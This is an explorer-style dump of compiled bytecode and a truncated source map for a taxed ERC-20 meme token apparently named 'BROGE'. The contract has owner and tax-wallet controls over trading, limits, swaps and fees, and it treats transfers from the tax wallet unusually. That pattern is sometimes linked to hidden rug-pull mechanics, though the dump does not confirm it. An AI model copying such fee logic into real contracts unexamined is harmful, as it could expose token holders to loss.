0x608060405260043610610164575f3560e01c806370a08231116100cd57806395d89b4111610087578063bf474bed11610062578063bf474bed146103a8578063c9567bf9146103bd578063dd62ed3e146103d1578063ec1f3f6314610415575f80fd5b806395d89b411461016f578063a9059cbb14610374578063baeb7a7d14610393575f80fd5b806370a08231146102c8578063715018a6146102fc578063751039fc146103105780637d1db4a5146103245780638da5cb5b146103395780638f9a55c01461035f575f80fd5b806320800a001161011e57806320800a001461023c57806323b872dd1461025057806327b1a8e91461026f578063313ce567146102845780633ef947211461029f57806351bc3c85146102b4575f80fd5b806306fdde031461016f578063095ea7b3146101ab5780630faee56f146101da578063109daa99146101fd57806317391e491461021357806318160ddd14610228575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082018252600581526442524f474560d81b602082015290516101a291906117b3565b60405180910390f35b3480156101b6575f80fd5b506101ca6101c5366004611813565b610434565b60405190151581526020016101a2565b3480156101e5575f80fd5b506101ef60115481565b6040519081526020016101a2565b348015610208575f80fd5b5061021161044a565b005b34801561021e575f80fd5b506101ef600c5481565b348015610233575f80fd5b506101ef6104b8565b348015610247575f80fd5b506102116104d8565b34801561025b575f80fd5b506101ca61026a36600461183d565b610504565b34801561027a575f80fd5b506101ef600d5481565b34801561028f575f80fd5b50604051600981526020016101a2565b3480156102aa575f80fd5b506101ef60085481565b3480156102bf575f80fd5b5061021161056b565b3480156102d3575f80fd5b506101ef6102e236600461187b565b6001600160a01b03165f9081526001602052604090205490565b348015610307575f80fd5b506102116105bc565b34801561031b575f80fd5b5061021161062d565b34801561032f575f80fd5b506101ef600e5481565b348015610344575f80fd5b505f546040516001600160a01b0390911681526020016101a2565b34801561036a575f80fd5b506101ef600f5481565b34801561037f575f80fd5b506101ca61038e366004611813565b6106d9565b34801561039e575f80fd5b506101ef60075481565b3480156103b3575f80fd5b506101ef60105481565b3480156103c8575f80fd5b506102116106e5565b3480156103dc575f80fd5b506101ef6103eb366004611896565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610420575f80fd5b5061021161042f3660046118cd565b610a99565b5f610440338484610ade565b5060015b92915050565b5f546001600160a01b0316331461047c5760405162461bcd60e51b8152600401610473906118e4565b60405180910390fd5b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b5f6104c56009600a611a0d565b6104d390633b9aca00611a1b565b905090565b6004546001600160a01b0316336001600160a01b0316146104f7575f80fd5b4761050181610c02565b50565b5f610510848484610c39565b610561843361055c85604051806060016040528060288152602001611b7a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611241565b610ade565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461058a575f80fd5b305f9081526001602052604090205480156105a8576105a881611279565b4780156105b8576105b881610c02565b5050565b5f546001600160a01b031633146105e55760405162461bcd60e51b8152600401610473906118e4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106565760405162461bcd60e51b8152600401610473906118e4565b6106626009600a611a0d565b61067090633b9aca00611a1b565b600e5561067f6009600a611a0d565b61068d90633b9aca00611a1b565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106bd6009600a611a0d565b6106cb90633b9aca00611a1b565b6040519081526020016104ae565b5f610440338484610c39565b5f546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610473906118e4565b601654600160a01b900460ff16156107685760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610473565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b19030906107a36009600a611a0d565b61055c90633b9aca00611a1b565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190611a32565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611a32565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611a32565b601680546001600160a01b039283166001600160a01b03199091161790556018805461ff0019166101001790556015541663f305d719473061096c816001600160a01b03165f9081526001602052604090205490565b5f8061097f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0a9190611a4d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a5f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a839190611a78565b506016805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610ab8575f80fd5b6007548111158015610acc57506008548111155b610ad4575f80fd5b6007819055600855565b6001600160a01b038316610b405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b038216610ba15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105b8573d5f803e3d5ffd5b6001600160a01b038316610c9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610cff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b5f8111610d605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b601854610100900460ff161580610d79575060185460ff165b15610d8e57610d898383836113e0565b505050565b5f80546001600160a01b03858116911614801590610db957505f546001600160a01b03848116911614155b8015610dd357506004546001600160a01b03848116911614155b156110a457600d545f03610e1057610e0d6064610e07600954600d5411610dfc57600554610e00565b6007545b8590611483565b90611508565b90505b600d5415610e3557610e326064610e07600c548561148390919063ffffffff16565b90505b6016546001600160a01b038581169116148015610e6057506015546001600160a01b03848116911614155b8015610e8457506001600160a01b0383165f9081526003602052604090205460ff16155b15610f8757600e54821115610edb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610473565b600f5482610efd856001600160a01b03165f9081526001602052604090205490565b610f079190611a97565b1115610f555760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610473565b610f706064610e07600954600d5411610dfc57600554610e00565b600d80549192505f610f8183611aaa565b91905055505b6016546001600160a01b038481169116148015610fad57506001600160a01b0384163014155b15610fda57610fd76064610e07600a54600d5411610fcd57600654610e00565b6008548590611483565b90505b305f9081526001602052604090205460185460ff1615801561100957506016546001600160a01b038581169116145b801561101c5750601854610100900460ff165b8015611029575060105481115b80156110385750600b54600d54115b156110a257601a5443111561104c575f6019555b6017546019541061105b575f80fd5b6110786110738461106e84601154611549565b611549565b611279565b4780156110885761108847610c02565b60198054905f61109783611aaa565b909155505043601a55505b505b6001600160a01b0384165f9081526003602052604090205460ff16806110e157506001600160a01b0383165f9081526003602052604090205460ff165b80156110f657506001600160a01b0384163014155b801561110b57506001600160a01b0383163014155b1561111557436014555b6001600160a01b0384165f9081526003602052604090205460ff1615801561115557506001600160a01b0383165f9081526003602052604090205460ff16155b1561122f576016546001600160a01b038481169116146111fd576001600160a01b038084165f90815260136020526040902060165490918681169116036111c55780545f036111c057600b54600d5411156111b2574381556111f7565b6111bd43600161155d565b81555b6111f7565b6001600160a01b0385165f9081526013602052604090208154815410806111eb57508154155b156111f557805482555b505b5061122f565b6001600160a01b0384165f90815260136020526040902060145481546112229161155d565b6001820155426002909101555b61123b8484848461159e565b50505050565b5f81848411156112645760405162461bcd60e51b815260040161047391906117b3565b505f6112708486611ac2565b95945050505050565b6018805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b9576112b9611ad5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611310573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113349190611a32565b8160018151811061134757611347611ad5565b6001600160a01b03928316602091820292909201015260155461136d9130911684610ade565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a59085905f90869030904290600401611ae9565b5f604051808303815f87803b1580156113bc575f80fd5b505af11580156113ce573d5f803e3d5ffd5b50506018805460ff1916905550505050565b6001600160a01b0383165f90815260016020526040902054611402908261155d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461143090826115c8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf59085815260200190565b5f825f0361149257505f610444565b5f61149d8385611a1b565b9050826114aa8583611b5a565b146115015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b9392505050565b5f61150183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611626565b5f8183116115575782611501565b50919050565b5f61150183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b5f6115aa858484611652565b90506115c18585836115bc878761155d565b611702565b5050505050565b5f806115d48385611a97565b9050838110156115015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b5f81836116465760405162461bcd60e51b815260040161047391906117b3565b505f6112708486611b5a565b6004545f9081906001600160a01b039081169086160361167e576012546116799085611483565b611680565b835b905082156116fa57305f908152600160205260409020546116a190846115c8565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f19087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611724908361155d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461175290826115c8565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117a59085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117df578581018301518582016040015282016117c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610501575f80fd5b5f8060408385031215611824575f80fd5b823561182f816117ff565b946020939093013593505050565b5f805f6060848603121561184f575f80fd5b833561185a816117ff565b9250602084013561186a816117ff565b929592945050506040919091013590565b5f6020828403121561188b575f80fd5b8135611501816117ff565b5f80604083850312156118a7575f80fd5b82356118b2816117ff565b915060208301356118c2816117ff565b809150509250929050565b5f602082840312156118dd575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561196757815f190482111561194d5761194d611919565b8085161561195a57918102915b93841c9390800290611932565b509250929050565b5f8261197d57506001610444565b8161198957505f610444565b816001811461199f57600281146119a9576119c5565b6001915050610444565b60ff8411156119ba576119ba611919565b50506001821b610444565b5060208310610133831016604e8410600b84101617156119e8575081810a610444565b6119f2838361192d565b805f1904821115611a0557611a05611919565b029392505050565b5f61150160ff84168361196f565b808202811582820484141761044457610444611919565b5f60208284031215611a42575f80fd5b8151611501816117ff565b5f805f60608486031215611a5f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a88575f80fd5b81518015158114611501575f80fd5b8082018082111561044457610444611919565b5f60018201611abb57611abb611919565b5060010190565b8181038181111561044457610444611919565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b395784516001600160a01b031683529383019391830191600101611b14565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b7457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1152a7771ff5da678c666efa40aa5177c04b81929d22324dec05541bea7f71164736f6c63430008170033
Deployed Bytecode Sourcemap
3491:11237:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5661:83;;;;;;;;;;-1:-1:-1;5731:5:0;;;;;;;;;;;-1:-1:-1;;;5731:5:0;;;;5661:83;;;;5731:5;5661:83;:::i;:::-;;;;;;;;6754:161;;;;;;;;;;-1:-1:-1;6754:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6754:161:0;1023:187:1;4566:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4566:52:0;1215:177:1;12945:119:0;;;;;;;;;;;;;:::i;:::-;;4085:29;;;;;;;;;;;;;;;;5938:95;;;;;;;;;;;;;:::i;14146:186::-;;;;;;;;;;;;;:::i;6923:313::-;;;;;;;;;;-1:-1:-1;6923:313:0;;;;;:::i;:::-;;:::i;4121:26::-;;;;;;;;;;;;;;;;5847:83;;;;;;;;;;-1:-1:-1;5847:83:0;;4191:1;2000:36:1;;1988:2;1973:18;5847:83:0;1858:184:1;3922:30:0;;;;;;;;;;;;;;;;14340:348;;;;;;;;;;;;;:::i;6041:119::-;;;;;;;;;;-1:-1:-1;6041:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6134:18:0;6107:7;6134:18;;;:9;:18;;;;;;;6041:119;2572:148;;;;;;;;;;;;;:::i;13072:159::-;;;;;;;;;;;;;:::i;4375:54::-;;;;;;;;;;;;;;;;2358:79;;;;;;;;;;-1:-1:-1;2396:7:0;2423:6;2358:79;;-1:-1:-1;;;;;2423:6:0;;;2445:51:1;;2433:2;2418:18;2358:79:0;2299:203:1;4437:56:0;;;;;;;;;;;;;;;;6168:167;;;;;;;;;;-1:-1:-1;6168:167:0;;;;;:::i;:::-;;:::i;3886:29::-;;;;;;;;;;;;;;;;4501:57;;;;;;;;;;;;;;;;13239:669;;;;;;;;;;;;;:::i;6603:143::-;;;;;;;;;;-1:-1:-1;6603:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6711:18:0;;;6684:7;6711:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6603:143;13920:218;;;;;;;;;;-1:-1:-1;13920:218:0;;;;;:::i;:::-;;:::i;6754:161::-;6829:4;6846:39;193:10;6869:7;6878:6;6846:8;:39::i;:::-;-1:-1:-1;6903:4:0;6754:161;;;;;:::o;12945:119::-;2485:6;;-1:-1:-1;;;;;2485:6:0;193:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;;;;;;;;;13018:1:::1;13003:12;:16:::0;;;13035:21:::1;::::0;1361:25:1;;;13035:21:0::1;::::0;1349:2:1;1334:18;13035:21:0::1;;;;;;;;12945:119::o:0;5938:95::-;5991:7;4247:13;4191:1;4247:2;:13;:::i;:::-;4234:26;;:10;:26;:::i;:::-;6011:14;;5938:95;:::o;14146:186::-;14209:10;;-1:-1:-1;;;;;14209:10:0;193;-1:-1:-1;;;;;14195:24:0;;14187:33;;;;;;14260:21;14292:32;14260:21;14292:12;:32::i;:::-;14176:156;14146:186::o;6923:313::-;7021:4;7038:36;7048:6;7056:9;7067:6;7038:9;:36::i;:::-;7085:121;7094:6;193:10;7116:89;7154:6;7116:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7116:19:0;;;;;;:11;:19;;;;;;;;193:10;7116:33;;;;;;;;;;:37;:89::i;:::-;7085:8;:121::i;:::-;-1:-1:-1;7224:4:0;6923:313;;;;;:::o;14340:348::-;14404:10;;-1:-1:-1;;;;;14404:10:0;193;-1:-1:-1;;;;;14390:24:0;;14382:33;;;;;;14465:4;14426:20;6134:18;;;:9;:18;;;;;;14485:14;;14482:73;;14513:30;14530:12;14513:16;:30::i;:::-;14584:21;14619:12;;14616:65;;14645:24;14658:10;14645:12;:24::i;:::-;14371:317;;14340:348::o;2572:148::-;2485:6;;-1:-1:-1;;;;;2485:6:0;193:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;2679:1:::1;2663:6:::0;;2642:40:::1;::::0;-1:-1:-1;;;;;2663:6:0;;::::1;::::0;2642:40:::1;::::0;2679:1;;2642:40:::1;2710:1;2693:19:::0;;-1:-1:-1;;;;;;2693:19:0::1;::::0;;2572:148::o;13072:159::-;2485:6;;-1:-1:-1;;;;;2485:6:0;193:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;4247:13:::1;4191:1;4247:2;:13;:::i;:::-;4234:26;::::0;:10:::1;:26;:::i;:::-;13125:12;:22:::0;4247:13:::1;4191:1;4247:2;:13;:::i;:::-;4234:26;::::0;:10:::1;:26;:::i;:::-;13158:14;:22:::0;13196:27:::1;4247:13;4191:1;4247:2;:13;:::i;:::-;4234:26;::::0;:10:::1;:26;:::i;:::-;13196:27;::::0;1361:25:1;;;1349:2;1334:18;13196:27:0::1;1215:177:1::0;6168:167:0;6246:4;6263:42;193:10;6287:9;6298:6;6263:9;:42::i;13239:669::-;2485:6;;-1:-1:-1;;;;;2485:6:0;193:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;13303:11:::1;::::0;-1:-1:-1;;;13303:11:0;::::1;;;13302:12;13294:47;;;::::0;-1:-1:-1;;;13294:47:0;;5520:2:1;13294:47:0::1;::::0;::::1;5502:21:1::0;5559:2;5539:18;;;5532:30;5598:25;5578:18;;;5571:53;5641:18;;13294:47:0::1;5318:347:1::0;13294:47:0::1;13352:15;:80:::0;;-1:-1:-1;;;;;;13352:80:0::1;13389:42;13352:80:::0;;::::1;::::0;;;13443:58:::1;::::0;13460:4:::1;::::0;4247:13:::1;4191:1;4247:2;:13;:::i;:::-;4234:26;::::0;:10:::1;:26;:::i;13443:58::-;13546:15;;;;;;;;;-1:-1:-1::0;;;;;13546:15:0::1;-1:-1:-1::0;;;;;13546:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13528:55:0::1;;13592:4;13599:15;;;;;;;;;-1:-1:-1::0;;;;;13599:15:0::1;-1:-1:-1::0;;;;;13599:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13528:94;::::0;-1:-1:-1;;;;;;13528:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6156:15:1;;;13528:94:0::1;::::0;::::1;6138:34:1::0;6208:15;;6188:18;;;6181:43;6073:18;;13528:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13512:13;:110:::0;;-1:-1:-1;;;;;13512:110:0;;::::1;-1:-1:-1::0;;;;;;13512:110:0;;::::1;;::::0;;13633:11:::1;:16:::0;;-1:-1:-1;;13633:16:0::1;13512:110;13633:16;::::0;;13661:15:::1;::::0;::::1;:31;13700:21;13731:4;13737:24;13731:4:::0;-1:-1:-1;;;;;6134:18:0;6107:7;6134:18;;;:9;:18;;;;;;;6041:119;13737:24:::1;13762:1;13764::::0;13766:7:::1;2396::::0;2423:6;-1:-1:-1;;;;;2423:6:0;;2358:79;13766:7:::1;13661:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13661:129:0;;;-1:-1:-1;;;;;6594:15:1;;;13661:129:0::1;::::0;::::1;6576:34:1::0;6626:18;;;6619:34;;;;6669:18;;;6662:34;;;;6712:18;;;6705:34;6776:15;;;6755:19;;;6748:44;13774:15:0::1;6808:19:1::0;;;6801:35;6510:19;;13661:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13808:13:0::1;::::0;13839:15:::1;::::0;13801:71:::1;::::0;-1:-1:-1;;;13801:71:0;;-1:-1:-1;;;;;13839:15:0;;::::1;13801:71;::::0;::::1;7332:51:1::0;-1:-1:-1;;7399:18:1;;;7392:34;13808:13:0;::::1;::::0;-1:-1:-1;13801:29:0::1;::::0;7305:18:1;;13801:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13883:11:0::1;:16:::0;;-1:-1:-1;;;;13883:16:0::1;-1:-1:-1::0;;;13883:16:0::1;::::0;;13239:669::o;13920:218::-;13995:10;;-1:-1:-1;;;;;13995:10:0;193;-1:-1:-1;;;;;13981:24:0;;13973:33;;;;;;14032:12;;14023:7;:21;;:47;;;;;14057:13;;14048:7;:22;;14023:47;14015:56;;;;;;14080:12;:20;;;14109:13;:21;13920:218::o;7244:335::-;-1:-1:-1;;;;;7337:19:0;;7329:68;;;;-1:-1:-1;;;7329:68:0;;7921:2:1;7329:68:0;;;7903:21:1;7960:2;7940:18;;;7933:30;7999:34;7979:18;;;7972:62;-1:-1:-1;;;8050:18:1;;;8043:34;8094:19;;7329:68:0;7719:400:1;7329:68:0;-1:-1:-1;;;;;7416:21:0;;7408:68;;;;-1:-1:-1;;;7408:68:0;;8326:2:1;7408:68:0;;;8308:21:1;8365:2;8345:18;;;8338:30;8404:34;8384:18;;;8377:62;-1:-1:-1;;;8455:18:1;;;8448:32;8497:19;;7408:68:0;8124:398:1;7408:68:0;-1:-1:-1;;;;;7487:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7539:32;;1361:25:1;;;7539:32:0;;1334:18:1;7539:32:0;;;;;;;;7244:335;;;:::o;12845:92::-;12902:10;;:27;;-1:-1:-1;;;;;12902:10:0;;;;:27;;;;;12922:6;;12902:10;:27;:10;:27;12922:6;12902:10;:27;;;;;;;;;;;;;;;;;;;7587:3635;-1:-1:-1;;;;;7675:18:0;;7667:68;;;;-1:-1:-1;;;7667:68:0;;8729:2:1;7667:68:0;;;8711:21:1;8768:2;8748:18;;;8741:30;8807:34;8787:18;;;8780:62;-1:-1:-1;;;8858:18:1;;;8851:35;8903:19;;7667:68:0;8527:401:1;7667:68:0;-1:-1:-1;;;;;7754:16:0;;7746:64;;;;-1:-1:-1;;;7746:64:0;;9135:2:1;7746:64:0;;;9117:21:1;9174:2;9154:18;;;9147:30;9213:34;9193:18;;;9186:62;-1:-1:-1;;;9264:18:1;;;9257:33;9307:19;;7746:64:0;8933:399:1;7746:64:0;7838:1;7829:6;:10;7821:64;;;;-1:-1:-1;;;7821:64:0;;9539:2:1;7821:64:0;;;9521:21:1;9578:2;9558:18;;;9551:30;9617:34;9597:18;;;9590:62;-1:-1:-1;;;9668:18:1;;;9661:39;9717:19;;7821:64:0;9337:405:1;7821:64:0;7901:11;;;;;;;7900:12;;:22;;-1:-1:-1;7916:6:0;;;;7900:22;7896:139;;;7940:62;7973:4;7978:2;7981:6;7940:14;:62::i;:::-;7587:3635;;;:::o;7896:139::-;8045:17;2423:6;;-1:-1:-1;;;;;8093:15:0;;;2423:6;;8093:15;;;;:45;;-1:-1:-1;2396:7:0;2423:6;-1:-1:-1;;;;;8125:13:0;;;2423:6;;8125:13;;8093:45;:78;;;;-1:-1:-1;8161:10:0;;-1:-1:-1;;;;;8155:16:0;;;8161:10;;8155:16;;8093:78;8075:1760;;;8201:9;;8212:1;8201:12;8198:139;;8245:76;8317:3;8245:67;8267:15;;8257:9;;:25;8256:55;;8297:14;;8256:55;;;8284:12;;8256:55;8245:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8233:88;;8198:139;8356:9;;:11;8353:95;;8399:33;8428:3;8399:24;8410:12;;8399:6;:10;;:24;;;;:::i;:33::-;8387:45;;8353:95;8476:13;;-1:-1:-1;;;;;8468:21:0;;;8476:13;;8468:21;:55;;;;-1:-1:-1;8507:15:0;;-1:-1:-1;;;;;8493:30:0;;;8507:15;;8493:30;;8468:55;:83;;;;-1:-1:-1;;;;;;8529:22:0;;;;;;:18;:22;;;;;;;;8527:24;8468:83;8464:420;;;8591:12;;8581:6;:22;;8573:60;;;;-1:-1:-1;;;8573:60:0;;9949:2:1;8573:60:0;;;9931:21:1;9988:2;9968:18;;;9961:30;10027:27;10007:18;;;10000:55;10072:18;;8573:60:0;9747:349:1;8573:60:0;8686:14;;8676:6;8660:13;8670:2;-1:-1:-1;;;;;6134:18:0;6107:7;6134:18;;;:9;:18;;;;;;;6041:119;8660:13;:22;;;;:::i;:::-;:40;;8652:79;;;;-1:-1:-1;;;8652:79:0;;10433:2:1;8652:79:0;;;10415:21:1;10472:2;10452:18;;;10445:30;10511:28;10491:18;;;10484:56;10557:18;;8652:79:0;10231:350:1;8652:79:0;8762:76;8834:3;8762:67;8784:15;;8774:9;;:25;8773:55;;8814:14;;8773:55;;8762:76;8857:9;:11;;8750:88;;-1:-1:-1;8857:9:0;:11;;;:::i;:::-;;;;;;8464:420;8909:13;;-1:-1:-1;;;;;8903:19:0;;;8909:13;;8903:19;:43;;;;-1:-1:-1;;;;;;8926:20:0;;8941:4;8926:20;;8903:43;8900:174;;;8979:79;9054:3;8979:70;9001:16;;8991:9;;:26;8990:58;;9033:15;;8990:58;;;9019:13;;8979:6;;:10;:70::i;:79::-;8967:91;;8900:174;9139:4;9090:28;6134:18;;;:9;:18;;;;;;9165:6;;;;9164:7;:30;;;;-1:-1:-1;9181:13:0;;-1:-1:-1;;;;;9175:19:0;;;9181:13;;9175:19;9164:30;:45;;;;-1:-1:-1;9198:11:0;;;;;;;9164:45;:89;;;;;9236:17;;9213:20;:40;9164:89;:123;;;;;9269:18;;9257:9;;:30;9164:123;9160:664;;;9327:13;;9312:12;:28;9308:90;;;9377:1;9365:9;:13;9308:90;9436:13;;9424:9;;:25;9416:34;;;;;;9469:69;9486:51;9490:6;9498:38;9502:20;9524:11;;9498:3;:38::i;:::-;9486:3;:51::i;:::-;9469:16;:69::i;:::-;9586:21;9630:22;;9626:106;;9677:35;9690:21;9677:12;:35::i;:::-;9750:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9796:12:0;9780:13;:28;-1:-1:-1;9160:664:0;8183:1652;8075:1760;-1:-1:-1;;;;;9853:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;9880:22:0;;;;;;:18;:22;;;;;;;;9853:49;9852:76;;;;-1:-1:-1;;;;;;9908:20:0;;9923:4;9908:20;;9852:76;:99;;;;-1:-1:-1;;;;;;9932:19:0;;9946:4;9932:19;;9852:99;9847:166;;;9989:12;9969:17;:32;9847:166;-1:-1:-1;;;;;10031:24:0;;;;;;:18;:24;;;;;;;;10029:26;:64;;;;-1:-1:-1;;;;;;10071:22:0;;;;;;:18;:22;;;;;;;;10069:24;10029:64;10025:1134;;;10124:13;;-1:-1:-1;;;;;10124:18:0;;;:13;;:18;10120:1028;;-1:-1:-1;;;;;10191:13:0;;;10163:25;10191:13;;;:9;:13;;;;;10227;;10191;;10227:21;;;:13;;:21;10223:668;;10277:18;;;:23;10273:310;;10343:18;;10333:9;;:28;10329:231;;;10415:12;10394:33;;10223:668;;10329:231;10513:19;:12;10530:1;10513:16;:19::i;:::-;10492:40;;10329:231;10223:668;;;-1:-1:-1;;;;;10663:15:0;;10631:29;10663:15;;;:9;:15;;;;;10730:18;;10705:22;;:43;;:70;;-1:-1:-1;10754:18:0;;:20;10705:70;10701:171;;;10826:22;;10805:43;;10701:171;10608:283;10223:668;10144:762;10120:1028;;;-1:-1:-1;;;;;10963:15:0;;10931:29;10963:15;;;:9;:15;;;;;11050:17;;11023:22;;:45;;:26;:45::i;:::-;10997:23;;;:71;11117:15;11087:27;;;;:45;10120:1028;11171:43;11186:4;11192:2;11196:6;11204:9;11171:14;:43::i;:::-;7656:3566;7587:3635;;;:::o;1250:190::-;1336:7;1372:12;1364:6;;;;1356:29;;;;-1:-1:-1;;;1356:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1396:9:0;1408:5;1412:1;1408;:5;:::i;:::-;1396:17;1250:190;-1:-1:-1;;;;;1250:190:0:o;11670:483::-;5285:6;:13;;-1:-1:-1;;5285:13:0;5294:4;5285:13;;;11772:16:::1;::::0;;11786:1:::1;11772:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11772:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11772:16:0::1;11748:40;;11817:4;11799;11804:1;11799:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11799:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11843:15:::1;::::0;:22:::1;::::0;;-1:-1